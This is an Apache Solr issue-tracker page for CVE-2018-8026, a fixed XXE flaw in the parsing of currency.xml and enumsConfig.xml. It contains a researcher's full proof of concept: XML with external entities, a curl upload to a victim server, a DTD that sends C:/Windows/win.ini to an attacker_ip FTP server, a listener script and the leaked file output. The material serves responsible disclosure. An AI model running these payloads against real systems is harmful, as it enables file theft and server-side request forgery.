Uploaded image for project: 'Solr'
  1. Solr
  2. SOLR-12450

CVE-2018-8026: More XXE vulns in code using DocumentBuilder


    • Type: Bug
    • Status: Closed
    • Priority: Major
    • Resolution: Fixed
    • Affects Version/s: 6.6.4, 7.3.1
    • Fix Version/s: 6.6.5, 7.4
    • Component/s: security
    • Security Level: Public (Default Security Level. Issues are Public)
    • Labels:


      From: yuyang xiao <superxyyang@gmail.com>
      Date: Mon, Jun 4, 2018 at 10:22 AM
      Subject: XXE vulns in lucene-solr
      To: security@apache.org

      Title: XXE vulns in lucene-solr

      Author: XiaoXiong , superxyyang@gmail.com

      Date: 2018-06-04

      Download Site: http://www.apache.org/dyn/closer.lua/lucene/solr/7.3.1


      Recently, I found there are two another XXE Vulnerabilities. unsecure DocumentBuilderFactory is being used to parse currency.xml and enumsConfig.xml .  
      I think the problem is as serious as CVE-2018-8010, It can result in reading any file and server side request forgery attack .I think it a dangerous vulnerability that you should limit the xml entity parse.


      The location of vulnerability one :


      is = loader.openResource(currencyConfigFile);
      javax.xml.parsers.DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      try {
      } catch (UnsupportedOperationException e) {
      throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, "XML parser doesn't support XInclude option", e);
      Document doc = dbf.newDocumentBuilder().parse(is);

      the another xxe  vulnerability  

      is = schema.getResourceLoader().openResource(enumsConfigFile);
      final DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      final Document doc = dbf.newDocumentBuilder().parse(is);
      final XPathFactory xpathFactory = XPathFactory.newInstance();
      final XPath xpath = xpathFactory.newXPath();

      The following is the  vulnerability  detail:

      FileExchangeRateProvider Vulnerability
      victim :

      Solr version: solr 7.3.1 OS: windows 7  java version "1.8.0_101"IP: victim_ip


      OS: kaliIP: attacker_ip

      Step 1: Create configeset with three files in directory called "test"
      schema.xml: import the currency handler

      <schema name="test" version="1.1">  <fieldType name="string" class="solr.StrField"/>    <fieldType name="currency" class="solr.CurrencyField" precisionStep="8" defaultCurrency="USD" currencyConfig="currency.xml" /></schema>

      currency.xml: import the attack payload

      <?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://attacker_ip:9000/xxe.dtd">    %remote;    ]>  <currencyConfig version="1.0">  <rates>    <!-- Updated from http://www.exchangerate.com/ at 2011-09-27 -->    <rate from="USD" to="ARS" rate="4.333871" comment="ARGENTINA Peso" />    <rate from="USD" to="AUD" rate="1.025768" comment="AUSTRALIA Dollar" />    <rate from="USD" to="EUR" rate="0.743676" comment="European Euro" />    <rate from="USD" to="CAD" rate="1.030815" comment="CANADA Dollar" />     <!-- Cross-rates for some common currencies -->    <rate from="EUR" to="GBP" rate="0.869914" />    <rate from="EUR" to="NOK" rate="7.800095" />    <rate from="GBP" to="NOK" rate="8.966508" />     <!-- Asymmetrical rates -->    <rate from="EUR" to="USD" rate="0.5" />  </rates></currencyConfig>

      solrconfig.xml: normal config file

      <config>  <dataDir>${solr.data.dir:}</dataDir>  <directoryFactory name="DirectoryFactory"                    class="${solr.directoryFactory:solr.NRTCachingDirectoryFactory}"/>  <schemaFactory class="ClassicIndexSchemaFactory"/>  <luceneMatchVersion>7.3.1</luceneMatchVersion>  <updateHandler class="solr.DirectUpdateHandler2">    <commitWithin>      <softCommit>${solr.commitwithin.softcommit:true}</softCommit>    </commitWithin>  </updateHandler>  <requestHandler name="/select" class="solr.SearchHandler">    <lst name="defaults">      <str name="echoParams">explicit</str>      <str name="indent">true</str>      <str name="df">text</str>      <str name="password">passwdFile</str>    </lst>  </requestHandler></config>

      Step 2: Upload the test directory to Solr using configset upload API:

      (cd test && zip -r - *) | curl -X POST --header "Content-Type:application/octet-stream" --data-binary @- "http://victim_ip:8983/solr/admin/configs?action=UPLOAD&name=configset1"

      Step3: ready the xxe.dtd
      for Solr server read xxe.dtd

      python -m SimpleHTTPServer 9000


      <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini"><!ENTITY % int "<!ENTITY &#37; send SYSTEM 'ftp://user:12345@attacker_ip:2121/%file;/'>">%int;%send;

      Step4: build the listening with ftp
      python ftpserver.py >> ./ftpserver.log 2>&1 &


      import osfrom pyftpdlib.authorizers import DummyAuthorizerfrom pyftpdlib.handlers import FTPHandlerfrom pyftpdlib.servers import FTPServer def main():    # Instantiate a dummy authorizer for managing 'virtual' users    authorizer = DummyAuthorizer()     # Define a new user having full r/w permissions and a read-only    # anonymous user    authorizer.add_user('user', '12345', '.', perm='elradfmwMT')    authorizer.add_anonymous(os.getcwd(), perm='elradfmwMT')     # Instantiate FTP handler class    handler = FTPHandler    handler.authorizer = authorizer     # Define a customized banner (string returned when client connects)    handler.banner = "pyftpdlib based ftpd ready."     # Instantiate FTP server class and listen on    address = ('', 2121)    server = FTPServer(address, handler)     # set a limit for connections    server.max_cons = 256    server.max_cons_per_ip = 5     # start ftp server    server.serve_forever() if __name__ == '__main__':    main()

      Step5: Create a collection using this configset. and the file is revealed
      input the url


      read the error response

      {  "responseHeader":{    "status":0,    "QTime":32895},  "failure":{    "victim_ip:7574_solr":"org.apache.solr.client.solrj.impl.HttpSolrClient$RemoteSolrException:Error from server at http://victim_ip:7574/solr: Error CREATEing SolrCore 'mybadcoll_shard1_replica_n1': Unable to create core [mybadcoll_shard1_replica_n1] Caused by: CWD ; for 16-bit app support\n[fonts]\n[extensions]\n[mci extensions]\n[files]\n[Mail]\nMAPI=1\nCMCDLLNAME32=mapi32.dll\nCMC=1\nMAPIX=1\nMAPIXVER=\nOLEMessaging=1\n[MCI Extensions.BAK]\n3g2=MPEGVideo\n3gp=MPEGVideo\n3gp2=MPEGVideo\n3gpp=MPEGVideo\naac=MPEGVideo\nadt=MPEGVideo\nadts=MPEGVideo\nm2t=MPEGVideo\nm2ts=MPEGVideo\nm2v=MPEGVideo\nm4a=MPEGVideo\nm4v=MPEGVideo\nmod=MPEGVideo\nmov=MPEGVideo\nmp4=MPEGVideo\nmp4v=MPEGVideo\nmts=MPEGVideo\nts=MPEGVideo\ntts=MPEGVideo\n:550 File name too long.\n"}}

      AbstractEnumField Vulnerability
      The process is the same with FileExchangeRateProvider under certain circumstance


      <schema name="test1" version="1.1">    <fieldType name="string" class="solr.StrField"/>    <fieldType name="priorityLevel" class="solr.EnumFieldType" docValues="true" enumsConfig="enumsConfig.xml" enumName="priority"/>    <fieldType name="riskLevel"     class="solr.EnumFieldType" docValues="true" enumsConfig="enumsConfig.xml" enumName="risk"    /></schema>


      <?xml version="1.0" ?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM "http://attacker_ip:9000/xxe.dtd"> %remote;]> <enumsConfig>  <enum name="priority">    <value>Not Available</value>    <value>Low</value>    <value>Medium</value>    <value>High</value>    <value>Urgent</value>  </enum>  <enum name="risk">    <value>Unknown</value>    <value>Very Low</value>    <value>Low</value>    <value>Medium</value>    <value>High</value>    <value>Critical</value>  </enum></enumsConfig>


        1. SOLR-12450.patch
          28 kB
          Uwe Schindler
        2. SOLR-12450.patch
          27 kB
          Uwe Schindler
        3. SOLR-12450.patch
          23 kB
          Uwe Schindler
        4. SOLR-12450.patch
          8 kB
          Uwe Schindler



            • Assignee:
              thetaphi Uwe Schindler
              thetaphi Uwe Schindler
            • Votes:
              0 Vote for this issue
              4 Start watching this issue


              • Created: